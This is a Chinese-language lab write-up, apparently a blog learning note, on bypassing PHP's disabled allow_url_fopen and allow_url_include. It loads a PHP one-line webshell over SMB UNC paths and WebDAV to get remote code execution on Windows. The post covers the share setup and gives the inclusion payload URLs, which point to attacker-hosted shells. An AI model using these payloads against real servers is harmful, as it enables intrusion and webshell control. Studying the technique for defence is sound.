前言
由于php.ini中,allow_url_fopen默认是关闭状态的,所以不允许加载外界URL。但是最近刷到了几条Trick来绕过,于是记载学习下。
思路其实也挺清晰的,在allow_url_fopen
和allow_url_include
均为off的情况下,使用SMB URL(UNC路径)可以加载资源实现RCE。UNC中是不能出现冒号的,而且为Windows系统专用。
环境
- Windows10:两项配置项均已关闭
- Kali:samba
- Win7:文件共享
一个小Demo文件跑在Win10上
1 | <?php |
SMB Bypass
Win7 文件共享
开启文件共享步骤:
- 在计算机管理中启用guest用户
- 进入高级共享设置中,关闭密码保护选项
- 新建一个名为Webshell文件夹,其中新建PHP一句话木马
- 共享该文件夹并设置Guest访问权限
在Windows中,访问\\192.168.1.120\webshell
账号为guest,密码为空,登录成功
运行payload即可
1 | http://localhost/rfi.php?file=\\192.168.1.120\webshell\1.txt |
也成功连接菜刀
Linux Samba
首先得在Ubuntu中安装Samba服务
1 | apt-get install -y samba |
smb.conf
1 | [global] |
同样的在Windows中访问\\192.168.1.101\
运行payload即可
1 | http://localhost/rfi.php?file=\\192.168.1.101\ethan\shell.txt |
WebDav Bypass
WebDAV在标准的HTTP协议上扩展了特有的请求方式: PROPFIND, MOVE, COPY等。 然后用这些请求,可以操作web服务器上的磁盘
Apache包含了内置的WebDAV模块,启用即可。
Ubuntu搭建教程:传送门
搭建好了之后在Kali中尝试dav://127.0.0.1/webdav
,出现文件说明搭建成功了
其中web.txt是一个一句话,运行payload吗,成功包含
1 | http://localhost/rfi.php?file=//192.168.1.101//webdav/web.txt |
Reference
https://paper.seebug.org/923/
https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx
https://422926799.github.io/posts/9b6dafa5.html